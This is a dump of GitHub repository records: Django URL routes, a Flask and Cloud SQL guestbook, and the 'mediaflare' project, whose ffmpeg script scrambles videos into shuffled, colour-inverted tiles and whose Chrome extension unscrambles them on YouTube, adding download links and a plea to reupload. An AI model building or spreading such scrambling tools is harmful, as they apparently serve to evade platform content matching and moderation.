views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Add an import: from blog import urls as blog_urls\n 2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls))\n\"\"\"\nfrom django.conf.urls import include, url\nfrom django.contrib import admin\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n url(r'^$', views.Index),\n url(r'^login/$', views.Login),\n url(r'^signup/$', views.Registro),\n url(r'^logout/$', views.Logout),\n url(r'^trips/$', views.Trips),\n url(r'^search/$', views.Search),\n url(r'^dashboard/$', views.Dashboard),\n url(r'^dashboard/users/$', views.Dashboard_users),\n url(r'^dashboard/winners/$', views.Dashboard_winners),\n url(r'^dashboard/trips/$', views.Dashboard_trips),\n url(r'^dashboard/trips/(?P<sub_id>[0-9]+)/$', views.Dashboard_trips_details),\n url(r'^details/(?P<sub_id>[0-9]+)/$', views.Details),\n url(r'^follow/(?P<user_id>[0-9]+)/$', views.Follow),\n url(r'^settings/$', views.Settings_gen),\n url(r'^settings/profile/$', views.Settings_prof),\n url(r'^unfollow/(?P<user_id>[0-9]+)/$', views.Unfollow),\n url(r'^profile/(?P<prof_id>[0-9]+)/$', views.Profile),\n url(r'^profile/(?P<prof_id>[0-9]+)/about/$', views.Profile_about),\n url(r'^profile/(?P<prof_id>[0-9]+)/followers/$', views.Profile_followers),\n url(r'^profile/(?P<prof_id>[0-9]+)/following/$', views.Profile_following),\n url(r'^details/(?P<sub_id>[0-9]+)/p=(?P<p_id>[0-9]+)/$',views.inscribir_subasta),\n\n\n]+ static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n" } ]
22
knative-portability/guestlist-python
https://github.com/knative-portability/guestlist-python
58e879b643117c4f859117059fc7bf7883ac38cb
67a21392769a6ce76c4ab616a7c033d51e93911d
ba6a933ec1264f43696256f0f977310cca60b7f9
refs/heads/master
2020-06-11T13:20:54.322469
2019-06-27T20:11:29
2019-06-27T20:11:29
193,979,402
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6414210200309753, "alphanum_fraction": 0.6502049565315247, "avg_line_length": 32.703948974609375, "blob_id": "3e6136226f0e4f7aa36bb7a9b58cfb9754a1c921", "content_id": "a1e0bdad31606ace452de07ef4bebd1e832a9434", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5123, "license_type": "no_license", "max_line_length": 98, "num_lines": 152, "path": "/app.py", "repo_name": "knative-portability/guestlist-python", "src_encoding": "UTF-8", "text": "import os\nimport datetime\nimport logging\n\nfrom flask import Flask, render_template, request, Response\nimport sqlalchemy\n\napp = Flask(__name__)\n\n# @app.route('/')\n# def hello_world():\n# target = os.environ.get('TARGET', 'World')\n# return 'Hello {}!\\n'.format(target)\n\n# connection name: mcarolyn-intern-project-2019:us-central1:myinstance\n\nif __name__ == \"__main__\":\n app.run(debug=True,host='0.0.0.0',port=int(os.environ.get('PORT', 8080)))\n\n# Remember - storing secrets in plaintext is potentially unsafe. Consider using\n# something like https://cloud.google.com/kms/ to help keep secrets secret.\ndb_user = os.environ.get(\"DB_USER\")\ndb_pass = os.environ.get(\"DB_PASS\")\ndb_name = os.environ.get(\"DB_NAME\")\ncloud_sql_connection_name = \"mcarolyn-intern-project-2019:us-central1:myinstance\"\n\napp = Flask(__name__)\n\nlogger = logging.getLogger()\nlogger.setLevel(10)\n\n# [START cloud_sql_mysql_sqlalchemy_create]\n# The SQLAlchemy engine will help manage interactions, including automatically\n# managing a pool of connections to your database\ndb = sqlalchemy.create_engine(\n # Equivalent URL:\n # mysql+pymysql://<db_user>:<db_pass>@/<db_name>?unix_sock=/cloudsql/<cloud_sql_instance_name>\n sqlalchemy.engine.url.URL(\n drivername='mysql+pymysql',\n username=db_user,\n password=db_pass,\n database=db_name,\n query={\n 'unix_socket': '/cloudsql/{}'.format(cloud_sql_connection_name)\n }\n ),\n # ... Specify additional properties here.\n # [START_EXCLUDE]\n\n # [START cloud_sql_mysql_sqlalchemy_limit]\n # Pool size is the maximum number of permanent connections to keep.\n pool_size=5,\n # Temporarily exceeds the set pool_size if no connections are available.\n max_overflow=2,\n # The total number of concurrent connections for your application will be\n # a total of pool_size and max_overflow.\n # [END cloud_sql_mysql_sqlalchemy_limit]\n\n # [START cloud_sql_mysql_sqlalchemy_backoff]\n # SQLAlchemy automatically uses delays between failed connection attempts,\n # but provides no arguments for configuration.\n # [END cloud_sql_mysql_sqlalchemy_backoff]\n\n # [START cloud_sql_mysql_sqlalchemy_timeout]\n # 'pool_timeout' is the maximum number of seconds to wait when retrieving a\n # new connection from the pool. After the specified amount of time, an\n # exception will be thrown.\n pool_timeout=30, # 30 seconds\n # [END cloud_sql_mysql_sqlalchemy_timeout]\n\n # [START cloud_sql_mysql_sqlalchemy_lifetime]\n # 'pool_recycle' is the maximum number of seconds a connection can persist.\n # Connections that live longer than the specified amount of time will be\n # reestablished\n pool_recycle=1800, # 30 minutes\n # [END cloud_sql_mysql_sqlalchemy_lifetime]\n\n # [END_EXCLUDE]\n)\n# [END cloud_sql_mysql_sqlalchemy_create]\n\n\n# @app.before_first_request\n# def create_tables():\n# # Create tables (if they don't already exist)\n# with db.connect() as conn:\n# conn.execute(\n# \"CREATE TABLE IF NOT EXISTS votes \"\n# \"( vote_id SERIAL NOT NULL, time_cast timestamp NOT NULL, \"\n# \"candidate CHAR(6) NOT NULL, PRIMARY KEY (vote_id) );\"\n# )\n\n\[email protected]('/', methods=['GET'])\ndef index():\n logging.log(10,\"entered get function\")\n with db.connect() as conn:\n # Execute the query and fetch all results\n guests = conn.execute(\n \"SELECT * FROM entries\"\n ).fetchall()\n guestlist = []\n for guest in guests:\n # first column of table is name, second column is message\n guestlist.append({'name': guest[0], 'message': guest[1]})\n \n #return str(guests)\n return render_template(\n 'index.html',\n guestlist=guestlist,\n )\n \[email protected]('/', methods=['POST'])\ndef add_entry():\n logging.log(10,\"entered post function\")\n # return str(request.form)\n name = request.form['user_name']\n message = request.form['user_message']\n \n stmt = sqlalchemy.text(\n \"INSERT INTO entries (guestName, content)\"\n \" VALUES (:name, :message)\"\n )\n try:\n # Using a with statement ensures that the connection is always released\n # back into the pool at the end of statement (even if an error occurs)\n with db.connect() as conn:\n conn.execute(stmt, name=name, message=message)\n except Exception as e:\n # If something goes wrong, handle the error in this section. This might\n # involve retrying or adjusting parameters depending on the situation.\n # [START_EXCLUDE]\n logger.exception(e)\n return Response(\n status=500,\n response=\"Unable to successfully submit message! Please check the \"\n \"application logs for more details.\"\n )\n # [END_EXCLUDE]\n # [END cloud_sql_mysql_sqlalchemy_connection]\n\n return render_template(\n 'added.html',\n name=name,\n message=message,\n )\n\n# return Response(\n# status=200,\n# response=\"Message '{}' successfully entered for '{}'\".format(\n# message, name)\n# )\n" }, { "alpha_fraction": 0.8101266026496887, "alphanum_fraction": 0.8101266026496887, "avg_line_length": 25.33333396911621, "blob_id": "48de125d9953125ccda2a19a7b445fd88fd071a5", "content_id": "6c06f4edeb81cef667a03574a0aa46a8a3f5d971", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 79, "license_type": "no_license", "max_line_length": 58, "num_lines": 3, "path": "/README.md", "repo_name": "knative-portability/guestlist-python", "src_encoding": "UTF-8", "text": "# guestlist-python\n\nSimple guestlist website using Python, Flask, and CloudSQL\n" } ]
2
dmulrooney/mediaflare
https://github.com/dmulrooney/mediaflare
83b9d1437baec11f17e01d614f2441eab3eb8363
7de7243a991f4fe5dda8e765bc58f9c7fa94bbf1
58fb4793f8c07c1793c3fbe0f0005b4dc6ee3db0
refs/heads/master
2020-09-14T04:41:04.198787
2019-11-21T18:33:13
2019-11-21T18:33:13
223,019,851
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.657608687877655, "alphanum_fraction": 0.657608687877655, "avg_line_length": 29.66666603088379, "blob_id": "9596cebb14070f192474c51b6426a7fc86f40e53", "content_id": "4c4303ab09eef23f5da94200c1ab9d11e5f6b0c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 184, "license_type": "no_license", "max_line_length": 63, "num_lines": 6, "path": "/tools/video_seeder.py", "repo_name": "dmulrooney/mediaflare", "src_encoding": "UTF-8", "text": "###################\n# TODO:\n# - Download video id\n# - Get video description/title\n# - Upload video using seeder account\n# - Share the ID to the pool with the description for reference\n" }, { "alpha_fraction": 0.8205128312110901, "alphanum_fraction": 0.8205128312110901, "avg_line_length": 57.5, "blob_id": "cbee140614c46807a559fdd71d6031768be510dd", "content_id": "d2dff410ba87cabf158b6097397eea82f39d0002", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 117, "license_type": "no_license", "max_line_length": 103, "num_lines": 2, "path": "/README.md", "repo_name": "dmulrooney/mediaflare", "src_encoding": "UTF-8", "text": "# mediaflare\nThe Mediaflare Chrome Extension allows users to view obfuscated media on YouTube as if any other video.\n" }, { "alpha_fraction": 0.47030964493751526, "alphanum_fraction": 0.535336971282959, "avg_line_length": 47.58407211303711, "blob_id": "943fa2b636d11149241f315b60a40a36e7cb127b", "content_id": "5375174497281c7a820be355855387adc48897fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5490, "license_type": "no_license", "max_line_length": 330, "num_lines": 113, "path": "/tools/video_builder.py", "repo_name": "dmulrooney/mediaflare", "src_encoding": "UTF-8", "text": "import os, math, random, json, subprocess, json\nfrom shutil import rmtree\nclass Builder:\n def __init__(self):\n self.extensions = ['mov', 'mp4', 'mp4', 'm4v', 'avi', 'webm', 'mkv']\n self.input_file = input('Please specify the input:\\t').strip()\n self.ext = os.path.splitext(self.input_file)[1][1:]\n if self.ext not in self.extensions: print('Unsupported input..', self.ext); os._exit(0)\n self.split_size = int(input('Split size (perfect square): '))\n #self.resolution = int(input('Resolution: '))\n #self.filters = int(input('Apply filters (0/1): '))\n self.rclen = int(math.sqrt(self.split_size))\n out = self.build_ffmpeg(True)\n #print(out)\n #print(out.replace(\";\", \";\"))\n self.ext = \"mp4\"\n #print('ffmpeg -i '+self.input_file+' -vn -acodec copy -c:a flac -y -threads 4 -strict -2 out.flac')\n #print('../sox out.flac fast.flac tempo 0.5 32 30 30')\n #print(\"Audio portion done fast.flac\")\n self.filters = True\n self.vp9 = False\n if not self.vp9:\n codec = \"-c:v libx264 -crf 0\" # -shortest -movflags faststart -threads 4\n else:\n codec = \"-c:v libvpx-vp9 -crf 0 -speed 4\"\n if self.filters:\n os.system('ffmpeg -i '+self.input_file+' -filter:v \"hflip, vflip, lutrgb=r=negval:g=negval:b=negval, hue=h=90\" '+codec+' -b:v 0 -threads 4 -y out.'+self.ext);\n #os.system('ffmpeg -i '+self.input_file+' -t 30 -filter:v \"scale=2560x1440, hflip, vflip, lutrgb=r=negval:g=negval:b=negval, hue=h=90\" -b:v 9000k -deadline best -lossless 1 -minrate 4500k -maxrate 13050k -tile-columns 3 -g 240 -threads 16 -quality good -crf 0 -c:v libvpx-vp9 -c:a libopus -speed 4 -y out.'+self.ext)\n self.input_file = 'out.'+self.ext\n os.system('ffmpeg -i '+self.input_file+' -filter_complex \"'+out+'\" '+codec+' -b:v 0 -threads 4 -y final.'+self.ext) #-preset slow\n #cmd = \"\"\"\n #ffmpeg -y -i \"\"\"+self.input_file+\"\"\" -filter_complex \\\"\"\"\"+out+\"\"\"\\\" -c:v libx264 -b:v 2600k -threads 4 -pass 1 -an -f mp4 /dev/null && \\\n #ffmpeg -i \"\"\"+self.input_file+\"\"\" -filter_complex \\\"\"\"\"+out+\"\"\"\\\" -c:v libx264 -b:v 2600k -threads 4 -pass 2 -c:a aac -b:a 128k -y final.\"\"\"+self.ext\n #os.system(cmd);\n #print('ffmpeg -i final.'+self.ext+' -i fast.flac -strict -2 -map 0:0 -map 1:0 -y -c:v libx265 -crf 18 -q 0 -threads 4 -shortest -movflags faststart merged.mp4')\n #print(\"Processing complete, \", self.key)\n print(\"---------------------------------------------\")\n #reversek(self.key)\n jD = {\n \"InstallThisExtension\": 'https://chrome.google.com/webstore/detail/mediaflare/epigelmkcmddoagfjomhemkalbbbpkja',\n \"title\": \"Untitled Mediafire\",\n \"desc\": \"An untitled mediafire video.\",\n \"keys\": self.key,\n \"rate\": 1,\n \"filter\": True,\n \"audio\": False\n }\n print(json.dumps(jD))\n\n def chunks(self, l, n):\n for i in range(0, len(l), n):\n yield l[i:i+n]\n\n def build_ffmpeg(self, mix=True):\n f = '[0]split='+str(self.split_size)\n for i in range(1, self.split_size+1): f += '[p'+str(i).zfill(2)+']'\n f += ';'\n s = 0; e = 0; l = []\n for i in range(1, self.split_size+1):\n if s == self.rclen: s = 0; e+=1\n f += '[p'+str(i).zfill(2)+']crop=iw/'+str(self.rclen)+':ih/'+str(self.rclen)+':'+str(s)+'*iw/'+str(self.rclen)+':'+str(e)+'*ih/'+str(self.rclen)+'[p'+str(i).zfill(2)+'];'; s+=1\n plist = []\n xz = list(range(1, self.split_size+1))\n self.key = xz\n if mix: random.shuffle(xz);\n for i in xz: plist.append('[p'+str(i).zfill(2)+']')\n for i,row in enumerate(list(self.chunks(plist, self.rclen))):\n f += \"\".join(row) + \"hstack=\"+str(self.rclen)+\"[c\"+str(i+1).zfill(2)+\"];\"\n for i in range(0, self.rclen):\n f+=\"[c\"+str(i+1).zfill(2)+\"]\"\n f+=\"vstack=\"+str(self.rclen)\n return f\n\ndef reversek(keys):\n beg = '''ffmpeg -i final.mp4 -t 30 -filter_complex \"[0]split=16[p01][p02][p03][p04][p05][p06][p07][p08][p09][p10][p11][p12][p13][p14][p15][p16];\n [p01]crop=iw/4:ih/4:0*iw/4:0*ih/4[p01];\n [p02]crop=iw/4:ih/4:1*iw/4:0*ih/4[p02];\n [p03]crop=iw/4:ih/4:2*iw/4:0*ih/4[p03];\n [p04]crop=iw/4:ih/4:3*iw/4:0*ih/4[p04];\n [p05]crop=iw/4:ih/4:0*iw/4:1*ih/4[p05];\n [p06]crop=iw/4:ih/4:1*iw/4:1*ih/4[p06];\n [p07]crop=iw/4:ih/4:2*iw/4:1*ih/4[p07];\n [p08]crop=iw/4:ih/4:3*iw/4:1*ih/4[p08];\n [p09]crop=iw/4:ih/4:0*iw/4:2*ih/4[p09];\n [p10]crop=iw/4:ih/4:1*iw/4:2*ih/4[p10];\n [p11]crop=iw/4:ih/4:2*iw/4:2*ih/4[p11];\n [p12]crop=iw/4:ih/4:3*iw/4:2*ih/4[p12];\n [p13]crop=iw/4:ih/4:0*iw/4:3*ih/4[p13];\n [p14]crop=iw/4:ih/4:1*iw/4:3*ih/4[p14];\n [p15]crop=iw/4:ih/4:2*iw/4:3*ih/4[p15];\n [p16]crop=iw/4:ih/4:3*iw/4:3*ih/4[p16];'''\n new = []\n kay = {}\n i = 1;\n print(beg, end=\"\")\n for k in keys:\n new.append([i,k]); i+=1;\n for o in new:\n kay[o[1]] = o[0]\n data = \"\"\n c = 0; ct = 1\n for k,v in kay.items():\n if c != 0 and c % 4 == 0:\n data += \"hstack=4[c\"+str(ct).zfill(2)+\"];\";\n ct+=1\n data += \"[p\"+str(v).zfill(2)+\"]\"\n c+=1\n data += \"hstack=4[c\"+str(ct).zfill(2)+\"];\";\n data += \"[c01][c02][c03][c04]vstack=4\\\"\"\n print(data, end=\"\")\n print(\" -y -c:v libx264 -crf 0 -q 0 -threads 4 -f matroska - | ffplay -\")\n\nffmpeg = Builder()\n" }, { "alpha_fraction": 0.8387096524238586, "alphanum_fraction": 0.8709677457809448, "avg_line_length": 14.5, "blob_id": "71833ee58482d25c48ff27a07af5522fcaef5482", "content_id": "c7eebf1e23b06e4219ce45e5d9cf32f4af999e12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 62, "license_type": "no_license", "max_line_length": 24, "num_lines": 4, "path": "/tools/requirements.txt", "repo_name": "dmulrooney/mediaflare", "src_encoding": "UTF-8", "text": "youtube_dl\ngoogle-api-python-client\noauth2client\nprogressbar2\n" }, { "alpha_fraction": 0.5924041867256165, "alphanum_fraction": 0.606239378452301, "avg_line_length": 34.96341323852539, "blob_id": "15656ed10bedc2c43e1abdba4838a53460ae4140", "content_id": "44404407de3560dd76b89d8a6cfd498384440756", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 14745, "license_type": "no_license", "max_line_length": 241, "num_lines": 410, "path": "/code/flare.js", "repo_name": "dmulrooney/mediaflare", "src_encoding": "UTF-8", "text": "String.prototype.toHHMMSS = function () {\n var sec_num = parseInt(this, 10); // don't forget the second param\n var hours = Math.floor(sec_num / 3600);\n var minutes = Math.floor((sec_num - (hours * 3600)) / 60);\n var seconds = sec_num - (hours * 3600) - (minutes * 60);\n\t\tvar dataS;\n if (hours < 10) {hours = \"0\"+hours;}\n if (minutes < 10) {minutes = \"0\"+minutes;}\n if (seconds < 10) {seconds = \"0\"+seconds;}\n\t\tif (hours == \"00\") {\n\t dataS = minutes+':'+seconds;\n\t\t} else {\n\t\t\tdataS = hours+':'+minutes+':'+seconds;\n\t\t}\n\t\tif(dataS[0] == 0) {\n\t\t\treturn dataS.substr(1);\n\t\t} else {\n\t\t\treturn dataS;\n\t\t}\n}\n\nfunction timeToSeconds(data) {\n\tvar a = data.split(':'); // split it at the colons\n\tif (a.length == 2) {\n\t\tdata = \"00:\"+data;\n\t\ta = data.split(':');\n\t}\n\tvar seconds = (+a[0]) * 60 * 60 + (+a[1]) * 60 + (+a[2]);\n\treturn seconds;\n}\n\nfunction removeElement(elementId, outer=false) {\n\t// Removes an element from the document\n\ttry {\n if (outer) {\n document.getElementById(elementId).outerHTML = \"\";\n } else {\n document.getElementById(elementId).innerHTML = \"\";\n }\n\t} catch(e) {\n console.log(e);\n\t\tconsole.log(\"Failed to remove element.\");\n\t}\n}\n\nfunction listToMatrix(list, elementsPerSubArray) {\n\tvar matrix = [],\n\t\ti, k;\n\tfor (i = 0, k = -1; i < list.length; i++) {\n\t\tif (i % elementsPerSubArray === 0) {\n\t\t\tk++;\n\t\t\tmatrix[k] = [];\n\t\t}\n\t\tmatrix[k].push(list[i]);\n\t}\n\treturn matrix;\n}\n\nvar createElement = function(tagName, id, attrs, events) {\n\tattrs = Object.assign(attrs || {}, {\n\t\tid: id\n\t});\n\tevents = Object.assign(events || {});\n\n\tvar el = document.createElement(tagName);\n\tObject.keys(attrs).forEach((key) => {\n\t\tif (attrs[key] !== undefined) {\n\t\t\tel.setAttribute(key, attrs[key]);\n\t\t}\n\t});\n\n\tObject.keys(events).forEach((key) => {\n\t\tif (typeof events[key] === 'function') {\n\t\t\tel.addEventListener(key, events[key]);\n\t\t}\n\t});\n\n\treturn el;\n}\n\nfunction ready() {\n\ttry {\n\t\ttry {\n\t\t\tvar jdata = JSON.parse(document.getElementsByClassName(\"content style-scope ytd-video-secondary-info-renderer\")[0].innerText);\n\t\t} catch (e) {\n\t\t\tconsole.log(e);\n\t\t\treturn false;\n\t\t}\n\t\tvar keys = jdata['keys'];\n\t\ttry {\n\t\t\tvar titleElm = document.getElementsByClassName(\"title style-scope ytd-video-primary-info-renderer\")[0];\n\t\t\tvar title = jdata['title'];\n\t\t\ttitleElm.innerText = title;\n\t\t\tdocument.title = title;\n\t\t\tvar filters = jdata['filter'];\n\t\t\tvar audio = jdata['audio'];\n\t\t\tvar desc = jdata['desc'];\n\t\t\tvar rate = jdata['rate'];\n\t\t} catch (e) {\n\t\t\t//alert(e);\n\t\t\tvar title = titleElm.innerText; // remain same\n\t\t\tvar filters = false;\n\t\t\tvar audio = false;\n\t\t\tvar desc = \"\";\n\t\t\tvar rate = 1;\n\t\t}\n\t\ttry {\n\t\t\tvideo.pause();\n console.log(\"VIDEO PAUSED.\")\n\t\t\tdocument.getElementsByClassName(\"ytp-settings-button\")[0].click();\n\t\t\tdocument.getElementsByClassName(\"ytp-settings-button\")[0].click();\n\t\t\tdocument.getElementsByClassName(\"ytp-menuitem-label\")[document.getElementsByClassName(\"ytp-menuitem-label\").length - 1].click();\n\t\t\tvar maxQuality = document.getElementsByClassName(\"ytp-popup ytp-settings-menu\")[0].getElementsByClassName(\"ytp-menuitem\")[0].innerText.split(\" \")[0];\n\t\t\tif (maxQuality == \"4320p\") {\n\t\t\t\tdocument.getElementsByClassName(\"ytp-popup ytp-settings-menu\")[0].getElementsByClassName(\"ytp-menuitem\")[3].click();\n\t\t\t} else if (maxQuality == \"2160p\") {\n\t\t\t\tdocument.getElementsByClassName(\"ytp-popup ytp-settings-menu\")[0].getElementsByClassName(\"ytp-menuitem\")[2].click();\n\t\t\t} else if (maxQuality == \"1440p\") {\n\t\t\t\t// Select 1080p for slower users, they can preselect 1440p later in settings.\n\t\t\t\tdocument.getElementsByClassName(\"ytp-popup ytp-settings-menu\")[0].getElementsByClassName(\"ytp-menuitem\")[1].click();\n\t\t\t} else {\n\t\t\t\tconsole.log(\"Selected highest quality available.\");\n\t\t\t\tdocument.getElementsByClassName(\"ytp-popup ytp-settings-menu\")[0].getElementsByClassName(\"ytp-menuitem\")[0].click();\n\t\t\t}\n\n\t\t\tsetTimeout(function() {\n\t\t\t\tvideo.playbackRate = rate;\n\t\t\t\tif(rate != 1) {\n\t\t\t\t\t//fake-time-current\n\t\t\t\t\tdocument.getElementsByClassName(\"ytp-time-display notranslate\")[0].parentElement.appendChild(createElement('div', 'faketime', {'class': 'ytp-time-display notranslate'}));\n\t\t\t\t\tvar current = document.getElementsByClassName(\"ytp-time-display notranslate\")[0].getElementsByClassName('ytp-time-current')[0].innerText;\n\t\t\t\t\tvar durr = document.getElementsByClassName(\"ytp-time-display notranslate\")[0].getElementsByClassName('ytp-time-duration')[0].innerText;\n\t\t\t\t\tvar cSec = Math.floor(timeToSeconds(current)/rate);\n\t\t\t\t\tvar dSec = Math.floor(timeToSeconds(durr)/rate);\n\t\t\t\t\tdocument.getElementsByClassName(\"ytp-time-display notranslate\")[0].style = \"display: none;\";\n\t\t\t\t\tdocument.getElementById('faketime').innerHTML = '<span class=\"fake-time-current\">'+cSec.toString().toHHMMSS()+'</span><span class=\"fake-time-separator\"> / </span><span class=\"fake-time-duration\">'+dSec.toString().toHHMMSS()+'</span>';\n\t\t\t\t\tsetInterval(function() {\n\t\t\t\t\t\tif (engineRunning) {\n\t\t\t\t\t\t\tvar current = document.getElementsByClassName(\"ytp-time-display notranslate\")[0].getElementsByClassName('ytp-time-current')[0].innerText;\n\t\t\t\t\t\t\tvar durr = document.getElementsByClassName(\"ytp-time-display notranslate\")[0].getElementsByClassName('ytp-time-duration')[0].innerText;\n\t\t\t\t\t\t\tvar cSec = Math.floor(timeToSeconds(current)/rate);\n\t\t\t\t\t\t\tvar dSec = Math.floor(timeToSeconds(durr)/rate);\n\t\t\t\t\t\t\tdocument.getElementById('faketime').innerHTML = '<span class=\"fake-time-current\">'+cSec.toString().toHHMMSS()+'</span><span class=\"fake-time-separator\"> / </span><span class=\"fake-time-duration\">'+dSec.toString().toHHMMSS()+'</span>';\n\t\t\t\t\t\t}\n\t\t\t\t\t}, 700);\n\t\t\t\t}\n\t\t\t\tvideo.play();\n\t\t\t}, 10);\n\t\t} catch (e) {\n\t\t\tconsole.log(e);\n\t\t}\n\t\tud = get_url(maxQuality);\n\t\tdocument.getElementsByClassName(\"content style-scope ytd-video-secondary-info-renderer\")[0].innerHTML = \"\";\n\t\tdocument.getElementsByClassName(\"content style-scope ytd-video-secondary-info-renderer\")[0].appendChild(createElement('p', 'descriptionend'));\n\t\tdesc += \"<p>--------------------------------------------<p><p> Can you help mediaflare?</p><p>--------------------------------------------<p></br></p>Please reupload this video and help others access this content for free:</p>\"\n\t\tif (ud != false) {\n\t\t\tdesc += \"<center></br><p><a href=\\\"\" + ud[0] + \"\\\" download='\" + title.replace(/ /g, \"_\") + \"_video.mp4' target=\\\"_blank\\\" type='\" + ud[1] + \"'>Click here to download the video</a></p>\";\n\t\t\tdesc += \"<p><a href=\\\"\" + ud[2] + \"\\\" download='\" + title.replace(/ /g, \"_\") + \"_audio.webm' target=\\\"_blank\\\" type='\" + ud[3] + \"'>Click here to download the audio</a></p></center></br>\";\n\t\t}\n\t\tdocument.getElementById('descriptionend').innerHTML = desc;\n\t} catch (e) {\n\t\tconsole.log(e);\n\t\tthrow new Error(\"Failed to read metadata in description.\");\n\t}\n function waitForAd() {\n setTimeout(function() {\n \t\ttry {\n /// null and ad\n try {\n var tt = document.getElementsByClassName(\"title style-scope ytd-video-primary-info-renderer\")[0].innerText.trim();\n var adTitle = document.getElementsByClassName('ytp-title-link yt-uix-sessionlink ytp-title-fullerscreen-link')[0].innerText.trim();\n if (tt == adTitle && tt != title.trim()) {\n \tconsole.log(\"There is an ad, \"+tt+\" != \"+ title + \" || \"+tt+\" != \"+adTitle+\" (\"+(video.duration == null || video.duration < 1));\n return waitForAd();\n } else {\n \tconsole.log(\"There are no ads \"+tt+\" == \"+ adTitle + \" || \"+title);\n }\n } catch(e) {\n console.log(e);\n console.log(\"Error determining ads.\")\n return waitForAd();\n }\n \t\t\tvar duration = Math.floor(video.duration);\n \t\t\tvar cw = video.videoWidth;\n \t\t\tvar ch = video.videoHeight;\n \t\t\tif (cw == undefined || ch == undefined || cw < 90 || ch < 90) { console.log(\"ERROR: Video height needs retry?\"); return false; }\n \t\t\tvideo.parentElement.style = \"visibility: hidden;\";\n\n \t\t\tif (filters) {\n \t\t\t\tfilter = {\n \t\t\t\t\t'class': 'view',\n \t\t\t\t\t'height': '100%',\n \t\t\t\t\t'width': '100%',\n \t\t\t\t\t'style': 'outline-style:none; user-select: none; filter: invert(100%) hue-rotate(-90deg); transform: scale(-1);'\n \t\t\t\t};\n \t\t\t} else {\n \t\t\t\tfilter = {\n \t\t\t\t\t'class': 'view',\n \t\t\t\t\t'height': '100%',\n \t\t\t\t\t'width': '100%',\n \t\t\t\t\t'style': 'outline-style:none; user-select: none;'\n \t\t\t\t};\n \t\t\t}\n \t\t\tvideo.parentElement.parentElement.appendChild(createElement('center', 'centered', {'style': 'outline-style:none; user-select: none;'}));\n \t\t\tdocument.getElementById('centered').appendChild(createElement('canvas', 'ctx', filter));\n \t\t\tvideo.parentElement.parentElement.appendChild(createElement('canvas', 'canvas', {\n \t\t\t\t'style': 'visibility: hidden;'\n \t\t\t}));\n\n \t\t\tvar canvas = document.getElementById('canvas');\n \t\t\tvar canvas2 = document.getElementById('ctx');\n \t\t\tvar context = canvas.getContext('2d', {\n \t\t\t\talpha: false\n \t\t\t});\n \t\t\tvar ctx = canvas2.getContext('2d', {\n \t\t\t\talpha: false\n \t\t\t});\n \t\t\tvar lastTime = -1;\n \t\t\tvar lastHeight = -1;\n\n \t\t\tcanvas2.width = cw;\n \t\t\tcanvas2.height = ch;\n \t\t\tcanvas.width = cw;\n \t\t\tcanvas.height = ch;\n \t\t} catch (e) {\n \t\t\tconsole.log(e);\n //Cannot read property 'duration' of null\n\n \t\t\tthrow new Error(\"Not a compatiable website.\");\n \t\t}\n\n\n \t\tif (keys.indexOf(keys.length) != -1) {\n \t\t\tvar nkeys = [];\n \t\t\tkeys.forEach(function(element) {\n \t\t\t\tnkeys.push(element - 1);\n \t\t\t});\n \t\t\tkeys = nkeys;\n \t\t}\n \t\tvar rclen = Math.sqrt(keys.length);\n \t\tvar items = listToMatrix(keys, rclen)\n \t\ttileWidth = cw / rclen;\n \t\ttileHeight = ch / rclen;\n\n \t\tklist = [];\n \t\tvar row;\n \t\tvar col;\n \t\tfor (row = 0; row < rclen; row++) {\n \t\t\tfor (col = 0; col < rclen; col++) {\n \t\t\t\tklist.push([col, row]);\n \t\t\t}\n \t\t}\n\n \t\tfunction draw() {\n \t\t\tif (video.currentTime !== lastTime) {\n \t\t\t\tvar vidHeight = video.style.height;\n \t\t\t\tif (vidHeight < 90 || lastHeight != vidHeight) {\n \t\t\t\t\tlastHeight = vidHeight;\n \t\t\t\t\tcanvas2.style.height = lastHeight;\n \t\t\t\t\tcanvas2.style['margin-top'] = video.style.top;\n \t\t\t\t}\n \t\t\t\tcontext.drawImage(video, 0, 0, cw, ch, 0, 0, cw, ch);\n \t\t\t\tvar row;\n \t\t\t\tvar col;\n \t\t\t\tvar current = 0;\n \t\t\t\tfor (row = 0; row < rclen; row++) {\n \t\t\t\t\tfor (col = 0; col < rclen; col++) {\n \t\t\t\t\t\ttry {\n \t\t\t\t\t\t\tvar kdata = klist[keys[current]];\n \t\t\t\t\t\t\tctx.drawImage(canvas, tileWidth * col, tileHeight * row, tileWidth, tileHeight, tileWidth * kdata[0], tileHeight * kdata[1], tileWidth, tileHeight); // draw canvas A\n \t\t\t\t\t\t\tcurrent++;\n \t\t\t\t\t\t\tlastTime = video.currentTime;\n \t\t\t\t\t\t} catch (e) {\n \t\t\t\t\t\t\tconsole.log(e);\n \t\t\t\t\t\t\treturn;\n \t\t\t\t\t\t}\n \t\t\t\t\t}\n \t\t\t\t}\n \t\t\t}\n \t\t\trequestAnimationFrame(draw);\n \t\t};\n \t\tdraw();\n\n\n \t\tsetInterval(function() {\n \t\t\tif (!video.paused && video.videoWidth > 90 && video.videoHeight > 90 && engineRunning) {\n \t\t\t\tcw = video.videoWidth;\n \t\t\t\tch = video.videoHeight;\n \t\t\t\ttileWidth = cw / rclen;\n \t\t\t\ttileHeight = ch / rclen;\n \t\t\t\tcanvas2.width = cw;\n \t\t\t\tcanvas2.height = ch;\n \t\t\t\tcanvas.width = cw;\n \t\t\t\tcanvas.height = ch;\n \t\t\t\tif (duration != undefined && Math.floor(video.duration) != duration) {\n \t\t\t\t\ttry {\n title = \"None\";\n 